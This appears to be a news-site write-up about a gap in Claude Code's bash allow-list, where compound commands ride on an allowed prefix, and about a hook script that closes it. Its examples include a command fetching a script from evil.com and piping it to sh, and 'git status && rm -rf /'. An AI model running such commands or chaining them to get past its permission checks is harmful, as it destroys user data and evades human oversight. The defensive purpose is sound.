Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

✍️ OpenClawRadar📅 게시일: March 18, 2026🔗 Source
Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass
Ad

Security Gap in Claude Code's Permission System

Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.

The Solution: claude-hooks

The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:

  • Decomposes compound commands by splitting on &&, ||, ;, |, newlines, and extracts $() and backtick subshell contents recursively
  • Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
  • Checks each sub-command individually against your existing permissions.allow and permissions.deny patterns
  • Deny wins — if any sub-command matches a deny pattern, the whole command is denied
  • All must allow — auto-approve only happens when every sub-command matches an allow pattern
  • Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Ad

Setup Instructions

Installation takes about 30 seconds:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Add to ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.

Example Behavior

  • git status: Allowed both with and without hook
  • git add . && git commit -m "msg": Allowed both with and without hook (both match git *)
  • git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf / has no allow)
  • `npm test | tee output.log`: Allowed
  • FOO=bar git push: Might not match without hook, allowed with hook (env var stripped)

The repository is available at https://github.com/liberzon/claude-hooks under MIT license.

📖 Read the full source: r/ClaudeAI

Ad

👀 See Also

OpenClaw 보안 우려: 기본 셀프 호스팅 설정에서 API 키와 대화 데이터가 위험에 노출됨
Security

OpenClaw 보안 우려: 기본 셀프 호스팅 설정에서 API 키와 대화 데이터가 위험에 노출됨

시스코 보고서에 따르면 OpenClaw 보안은 '선택 사항이며 내장되어 있지 않다'고 지적하며, 기본 구성에서는 API 키를 VPS 인스턴스의 .env 파일에 저장하여 기본 드롭렛에서 실행하는 비기술적 사용자에게 잠재적 노출 위험을 초래한다.

OpenClawRadar
OpenClaw Slack 보안: API 키 노출 위험 및 해결 방법
Security

OpenClaw Slack 보안: API 키 노출 위험 및 해결 방법

OpenClaw Slack 배포 시 채널의 오류 메시지를 통해 API 키가 노출될 수 있으며, Bitsight 보고서에서 8,000개 이상의 노출된 인스턴스가 발견되었습니다. 출처는 세 가지 구체적인 취약점을 상세히 설명하고 시스템 프롬프트 수정 및 SlackClaw 마이그레이션을 포함한 실용적인 해결책을 제공합니다.

OpenClawRadar
공급망 공격은 탐지를 우회하기 위해 보이지 않는 유니코드 코드를 사용합니다.
Security

공급망 공격은 탐지를 우회하기 위해 보이지 않는 유니코드 코드를 사용합니다.

연구진이 3월 3일부터 9일까지 GitHub에 업로드된 151개의 악성 패키지를 발견했습니다. 이 패키지들은 보이지 않는 유니코드 문자를 사용하여 악성 코드를 숨기고 있습니다. 이 공격은 GitHub, NPM, Open VSX 저장소를 대상으로 하며, 합법적으로 보이지만 숨겨진 페이로드를 포함하는 패키지를 사용합니다.

OpenClawRadar
Malwar: Claude Code로 구축된 SKILL.md 파일 취약점 스캐너
Security

Malwar: Claude Code로 구축된 SKILL.md 파일 취약점 스캐너

한 개발자가 SKILL.md 파일을 악성 지시문에 대해 스캔하는 무료 도구인 Malwar를 공개했습니다. 이 도구는 규칙 엔진, URL 크롤러, LLM 분석, 위협 인텔리전스를 포함한 4단계 파이프라인을 사용합니다. 이 도구는 기존 스킬에서 Base64 블롭과 curl 출력을 bash로 파이프하라는 지시와 같은 우려스러운 패턴을 발견한 후 Claude Code로 전적으로 구축되었습니다.

OpenClawRadar